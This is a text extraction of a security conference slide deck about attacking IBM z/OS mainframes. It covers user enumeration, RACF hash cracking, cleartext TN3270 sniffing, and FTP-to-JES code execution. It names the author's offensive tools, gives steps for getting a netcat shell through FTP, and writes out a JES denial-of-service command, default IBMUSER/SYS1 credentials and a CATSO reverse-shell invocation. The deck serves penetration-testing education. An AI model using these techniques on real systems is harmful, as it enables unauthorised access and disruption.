Top Banner
Mainframes: The past will come back to haunt you By: Philip “Soldier of Fortran” Young
90

Mainframes: The past will come back to haunt you

Feb 09, 2022

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Mainframes: The past will come back to haunt you

Mainframes:  The  past  will  come  back  to  haunt  you  

By:  Philip  “Soldier  of  Fortran”  Young  

Page 2: Mainframes: The past will come back to haunt you

Any  views  expressed  in  this  talk  are  my  own  and  not  those  of  my  employer.    This  talk  discusses  work  performed  in  my  spare  Cme  generally  screwing  around  with  mainframes  and  thinking  'what  if  this  sCll  works...'      

Disclaimer  

Page 3: Mainframes: The past will come back to haunt you

•  How  many  of  you  have  tested  a  Mainframe  or  done  mainframe  pentests/audits?  

•  How  many  of  you  are  (or  were)  actual  Sysprogs?    

•  See  the  problem?    

Ques:on  

Page 4: Mainframes: The past will come back to haunt you
Page 5: Mainframes: The past will come back to haunt you
Page 6: Mainframes: The past will come back to haunt you
Page 7: Mainframes: The past will come back to haunt you

•  Runs  an  OS  called:  z/OS  

•  Current  version:  z/OS  V1R13  (or  1.13)  -­‐  V1R14  (1.14)  coming  this  year!  

•  70%  of  fortune  500s  run  an  IBM  z/OS  Mainframe  – For  criCcal  business  funcCons  

Not  Legacy  

Page 8: Mainframes: The past will come back to haunt you

About  me:  •  Phil  aka  "Soldier  of  Fortran"  •  Mainframes  were  always  big  and  mysterious  

– Messed  around  on  Datapac,  Telenet,  Sprintnet  •  Jan  2012  -­‐  Horrible  consultant  (PitA!)  •  Given  talks  (about  mainframes)  at:  

– Thotcon  – Shmoocon  – BSides  LV  and  AusCn  

About  

Page 9: Mainframes: The past will come back to haunt you

•  Primarily  (ok  100%)  a  talk  about  z/OS  and  support  tech/programs:  

•  If  these  mean  nothing  to  you...  good!  

•  Don’t  worry,  I'll  also  talk  security  

What’s  this  About?  

•  TSO  •  RACF  •  JES/JCL  

•  REXX  •  OMVS  

Page 10: Mainframes: The past will come back to haunt you
Page 11: Mainframes: The past will come back to haunt you
Page 12: Mainframes: The past will come back to haunt you

Security  Admin    Over  50    Security  Admin  Under  50  

Age  Gap  

Page 13: Mainframes: The past will come back to haunt you

This  can  happen  (in  2011):  "Can  someone  tell  me  how  to  find  the  server  name  from  the  IP  address."  

1)  I  don't  think  it’s  possible  2)  You  need  to  implement  something  to  lookup  

names  by  IP  

I’m  Not  Ageist…  

Page 14: Mainframes: The past will come back to haunt you
Page 15: Mainframes: The past will come back to haunt you

IBM  MAINFRAMES  

Page 16: Mainframes: The past will come back to haunt you

•  os/360  -­‐  Released  in  the  60’s  •  os/370  -­‐  Released  in  the  70’s  •  os/390  -­‐  Released  1995  •  z/OS  -­‐  Released  2004  

– New  release  every  two  years  – z/OS  v2  on  the  horizon  

(really)  Brief  History  

Page 17: Mainframes: The past will come back to haunt you

TN3270:  •  An  extension  on  telnet  •  Generally  clear  text    

– SSL  Added  mid  90s  

•  EBCDIC  (ugh)  

Supported  in  Wireshark!  

Cleartext,  s:ll?  

Page 18: Mainframes: The past will come back to haunt you
Page 19: Mainframes: The past will come back to haunt you
Page 20: Mainframes: The past will come back to haunt you

•  More  akin  to  a  shell  like  /bin/sh  •  Let's  you  run  commands:  

– FTP  – REXEC  – TRACEROUTE  – NETSTAT  – LISTDS  

Username  max:  7  chars      

(Mmm)  General  TSO  

Page 21: Mainframes: The past will come back to haunt you

(Who  names  these  things?)    •  ISPF  =  The  'GUI'  used  to  interact  

– File  browser  – Swanky  Editor  – Made  of  'panels’  

 

The  “GUI”  -­‐  ISPF  

Page 22: Mainframes: The past will come back to haunt you
Page 23: Mainframes: The past will come back to haunt you
Page 24: Mainframes: The past will come back to haunt you

•  Uses  'Datasets'  not  'Files'  (but  I  sCll  call  them  files)  

•  Composed  of  HLQ  and  'the  rest’:  

TCPIP.FTP.DATA •  Can  be  'parCConed’  

AC1D.JCL(FILE)

It’s  called  a  Dataset  *sigh*  

Page 25: Mainframes: The past will come back to haunt you

It's  a  UNIX  system!  I  know  this  

UNIX? In my Mainframe?

Page 26: Mainframes: The past will come back to haunt you

•  z/OS  comes  with  UNIX  

•  the  command  'OMVS'  gives  you  a    /bin/sh  shell  

•  You  can  'su'  to  root  without  a  password  – Controlled  by  group  'BPX.SUPERUSER'  

It's  a  UNIX  system!  I  know  this  

Page 27: Mainframes: The past will come back to haunt you
Page 28: Mainframes: The past will come back to haunt you
Page 29: Mainframes: The past will come back to haunt you

•  Everything  on  the  mainframe  is  a  JOB,  managed  by  JES  (Job  Entry  Subsystem)  

•  JCL,  Same  as  a  shell  script  (sorta)  

•  Has  a  'JOB  CARD'  or  header  and  a  'PGM'  or  program  to  execute  

 

JCL  and  Jobs  

Page 30: Mainframes: The past will come back to haunt you

JOB  CARD  

Program  

Parameters  

Page 31: Mainframes: The past will come back to haunt you

•  z/OS  comes  with  REXX  •  ScripCng  language  similar  to  RUBY/PYTHON  

•  REXX  Sockets  have  ASCII  translaCon  built  in:  Socket('Setsockopt',socket,'SOL_SOCKET','SO_ASCII','ON’)  

•  Other  (i.e.  C)  sockets  do  not  have  this!  

Let’s  talk  about  REXX  (baby)  

Page 32: Mainframes: The past will come back to haunt you

Always  starts  with    /*  REXX  */    Get  a  random  number  from  1024  to  65000    print  it  to  the  screen    print  the  address  space    DO  a  loop  FOREVER    Ask  the  user  for  a  command    SELECT  same  as  'SWITCH'  or  elsif.    

Page 33: Mainframes: The past will come back to haunt you

•  A  'system'  level  console  •  If  you  can  get  access  they're  fucked  

MASTERS  of  the  CONSOLES  

REDACTED  

Page 34: Mainframes: The past will come back to haunt you

•  For  example:      $T JOBDEF,JOBNUM=5

This  would  DoS  JES  (don't  do  this!)  

JOBDEF  =  JES  parameters    JOBNUM  =  The  number  of  jobs  to  run  concurrently  (normally  very  high)  

MASTERS  of  the  CONSOLES  

Page 35: Mainframes: The past will come back to haunt you

•  Most  companies  sCll  run  an  FTP  server  

•  An  amazing  'feature':  SITE  FILE=JES  

•  What  if  it  looked  like  this:  SITE  FILE=/bin/sh  

If  you  do  this  it  executes  the  JCL  you  uploaded!  

FTP  Server  

Page 36: Mainframes: The past will come back to haunt you

•  Most  Important  to  look  at:  NETSTAT  HOME  (ip  configuraCon)  TCPIP.FTP.DATA  (you'll  see  why)  RACF  'SETROPTS  LIST'  (password  config)  OMVS  Segment  UID  (no  one  should  be  '0')  BPX.SUPERUSER  facility  class  (gives  'su')  JESJOBS  class  (who  can  submit  jobs)    

Important  Places  

Page 37: Mainframes: The past will come back to haunt you

•  RACF  controls  ALL  security  on  the  mainframe.  EVERYTHING!  

•  Can  be  replaced  by  ACF2  or  TOP  Secret  

•  Default  User/Pass:  IBMUSER/SYS1    

RACF’m  

Page 38: Mainframes: The past will come back to haunt you

•  No  'root'  concept  but  'SPECIAL'  gives  full  control    –  limit  access  to  SPECIAL    

•  Limit  even  read  access  to  RACF  because…  

•  Also  stores  the  password  hashes!  

RACF’m  

Page 39: Mainframes: The past will come back to haunt you

•  IBM  uses  DES  to  store  those  hashes  •  The  USERID  is  the  'salt'  •  LimiCng  passwords  to  8  chars  1.  Takes  the  password  and  adds  0x55  to  each  

EBCDIC  char    2.  Shirs  each  byte  to  the  ler  one  bit  3.  Feeds  that  into  DES  algorithm  

 

DES:  in  2013  

Page 40: Mainframes: The past will come back to haunt you

RVARY  LIST  

Page 41: Mainframes: The past will come back to haunt you

TESTING  MAINFRAME  SECURITY  

Page 42: Mainframes: The past will come back to haunt you

•  Tools  don't  (or  didn't)  support  z/OS  

•  Internet  is  oren  wrong  or  out-­‐of-­‐date  

•  Frameworks  don't  typically  include  z/OS    

Frustra:ng  Experience  

Page 43: Mainframes: The past will come back to haunt you

No  NMAP  

Page 44: Mainframes: The past will come back to haunt you

Wrong  NMAP  

OS/390  was  disconCnued  in  2004  

REDACTED  

Page 45: Mainframes: The past will come back to haunt you

No  NESSUS  

Page 46: Mainframes: The past will come back to haunt you

No  Metasploit  

Page 47: Mainframes: The past will come back to haunt you

•  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

Yet,  Problems  Exist  

Page 48: Mainframes: The past will come back to haunt you

•  And  you  saw  one  more…  

Yet,  Problems  Exist  

Page 49: Mainframes: The past will come back to haunt you
Page 50: Mainframes: The past will come back to haunt you
Page 51: Mainframes: The past will come back to haunt you

•  That  logon  panel  is  awfully  friendly  –  Too  friendly  

•  hardcoded  like  that,  not  a  configuraCon  opCon  

•  And  yet  no  support:  –  THC-­‐HYDRA    – MEDUSA  

User  Enumera:on  

Page 52: Mainframes: The past will come back to haunt you

•  So  I  wrote  my  own:  

   v1  enumerate_TSO.sh  (PoC,  awful)  

   v2  TSO  Brute    

   v3  psikoCk.py/phatso.py  

User  Enumera:on  

Page 53: Mainframes: The past will come back to haunt you

•  SOooo  SLOW  

•  PoC  

•  Used  py3270  

•  ugly  

v2  TSO  Brute  

Page 54: Mainframes: The past will come back to haunt you

•  Much  faster  (but  sCll  python)  

•  Independent,  doesn't  rely  on  s3270  

•  single  purpose  – psikoCk  for  enumeraCon  – phatso  for  brute  force  

V3  psiko:k/phatso  

Page 55: Mainframes: The past will come back to haunt you
Page 56: Mainframes: The past will come back to haunt you
Page 57: Mainframes: The past will come back to haunt you
Page 58: Mainframes: The past will come back to haunt you

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

One  Down  

Page 59: Mainframes: The past will come back to haunt you

•  The  quesCon  that  started  it  all  

•  Spring  2012:  John  the  Ripper  added  RACF  database  support  

•  Big  thanks  to:  •  Nigel  Pentland  -­‐  IBM  obfuscaCon  •  Dhiru  Kholia  -­‐  ./john  and  ./racf2john  

Cracking  RACF  Hashes  

Page 60: Mainframes: The past will come back to haunt you

Nigels  Tools:  

•  CRACF  – Windows  only  tools,  slower    

•  RACFSnow  – Windows  only,  used  for  audiCng  

Cracking  RACF  Hashes  

Page 61: Mainframes: The past will come back to haunt you

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

Two  Down  

Page 62: Mainframes: The past will come back to haunt you

•  We  know  it's  clear  text  

•  Some  support  in  common  tools:  – Wireshark  (EBCDIC  buuon)  – No  Euercap  dissector  

More  like  ’Clear  EBCDIC’  

Page 63: Mainframes: The past will come back to haunt you
Page 64: Mainframes: The past will come back to haunt you

•  Python  and  SCAPY  

•  Sniffs  and  translates  EBCDIC  and  TSO  

•  Awful  don't  use  it  because...  

MFSniffer  

REDACTED  REDACTED  

Page 65: Mainframes: The past will come back to haunt you

•  Euercap  added  TSO/3270  support    – Thanks  (again)  to  Dhiru  Kholia  

•  Based  on  MFSniffer  

Ekercap  

Page 66: Mainframes: The past will come back to haunt you

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

One  to  Go  

Page 67: Mainframes: The past will come back to haunt you

•  Updated  NetCat  v1.10  to  support  OMVS  – Added  'make omvs'  opCon  

•  One  problem:  

Netcat  on  the  Mainframe  

z/OS

Linux

Page 68: Mainframes: The past will come back to haunt you

•  Comes  with  NetCat  for  OMVS  (NC110-­‐OMVS)  •  It  translates  from  EBCDIC  to  ASCII:  

NetEBCIDCat.py  

z/OS Linux

Page 69: Mainframes: The past will come back to haunt you

•  Why?    •  Upload  Netcat  binary  (pre-­‐compiled)  (e.g.  CASE.NETCAT)  

•  Use  JCL  to  copy  and  then  execute  NETCAT  listener  

 

Gelng  FTP  to  Execute  Netcat    

Page 70: Mainframes: The past will come back to haunt you

netcat.jcl  JOB  CARD  

Program  

UNIX  Cmds  

Page 71: Mainframes: The past will come back to haunt you

FTP  Command  1

2

4

5

3

1.  Switch  to  Binary  Mode  2.  upload  Netcat  3.  switch  to  ASCII  mode  4.   Switch  to  JES  Mode  5.  Upload  JCL  to  JES  6.  Connect  with  

NetEBCDICat.py  

Page 72: Mainframes: The past will come back to haunt you

6.  Connect  with  NetEBCDICat  

Page 73: Mainframes: The past will come back to haunt you

•  Turns  FTP  only  access  to  shell  access  

•  Generates  random  JOB  Card  info  and  deletes  files  

•  Has  a  detail/verbose  mode  so  you  can  see  what’s  happening  

 

Automa:ng:  MainTP.py  

Page 74: Mainframes: The past will come back to haunt you

MainTP  

Page 75: Mainframes: The past will come back to haunt you

•  Unix  and  EBCDIC  

•  User  needs  to  have  OMVS  access  

•  Not  user  friendly    

I  Got  99  Problems  

Page 76: Mainframes: The past will come back to haunt you

•  A  REXX  script  to  provide  meterpreter  'like'  funcConality  

•  Reverse  or  Listener  TSO/UNIX  'meterpreter'  

•  Works  with  great  netcat  or  metasploit  

Introducing:  CATSO  

Page 77: Mainframes: The past will come back to haunt you

•  Listener:  exec  'file'  'L  <port>’  exec 'CASE.CATSO' 'L 31337’

•  Reverse:  exec  'file'  'R  <ip>  <port>’  ex 'CASE.CATSO' 'R 10.0.0.4 4444'

CATSO:  Two  Great  Flavors  

Page 78: Mainframes: The past will come back to haunt you

1

2

3

1.  Connect  w/  Netcat  2.  Run  UNIX  command  ‘id’  3.  Cat  the  file  ‘CASE.JCL’  

   

Page 79: Mainframes: The past will come back to haunt you

•  SCll  requires  you  to  upload  and  execute  

•  Need  to  incorporate  with  JCL  for  remote  execuCon  

 •  The  sandwhich:  

CATSO  Problem  

Page 80: Mainframes: The past will come back to haunt you

Top  

Bouom  <CATSO.rexx>  

Page 81: Mainframes: The past will come back to haunt you

•  Uses  ’CATSO',  JCL  and  Python  to  upload  and  create  listener  or  reverse  TSO  'shell'  

•  JCL  Trickery  – Copy  JCL  contents  to  temp  file  – Execute  temp  file    

•  Memory  only!  (temp  file  on  z/OS)  

 

TShOcker  

Page 82: Mainframes: The past will come back to haunt you

TShOcker  in  Ac:on  

Metasploit Netcat

Page 83: Mainframes: The past will come back to haunt you
Page 84: Mainframes: The past will come back to haunt you

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

All  Done?  

Page 85: Mainframes: The past will come back to haunt you

HOW  CAN  YOU  HELP?  

Page 86: Mainframes: The past will come back to haunt you

Emulate  the  Mainframe  

Page 87: Mainframes: The past will come back to haunt you

Emulate  the  Mainframe  

Hercules  emulator.  A  virtual  mainframe  on  your  computer  •  updated/maintained  on  github  •  OpenSource  

IBM  System  z  Personal  Development  Tool  (zPDT)  •  Mainframe  license  required  •  Runs  Linux  which  then  boots  z/OS    •  Comes  with  license  on  a  USB  fob  

Page 88: Mainframes: The past will come back to haunt you

Hercules!  Hercules!  

Page 89: Mainframes: The past will come back to haunt you

@mainframed767  

hkp://mainframed767.tumblr.com  

hups://github.com/mainframed  

Page 90: Mainframes: The past will come back to haunt you

RACF  Admin  Age  Survey:    hup://www.rshconsulCng.com/surveys/RSH_ConsulCng__RACF_Survey_014__Age_RACF-­‐L_ParCcipants.pdf  

Reverse  NSLOOKUP  hup://www.mainframegurukul.com/ibmmainframeforums/TSO-­‐Command-­‐retrive-­‐Server-­‐name-­‐from-­‐IP-­‐Add-­‐post5539.html  

Euercap  hups://github.com/Euercap/euercap  

John  the  ripper  hups://github.com/magnumripper/JohnTheRipper  

Netcat  for  OMVS  hups://github.com/mainframed/NC110-­‐OMVS  

Hercules  hup://www.hercules-­‐390.org/  hups://github.com/s390guy/hercules-­‐390  

Links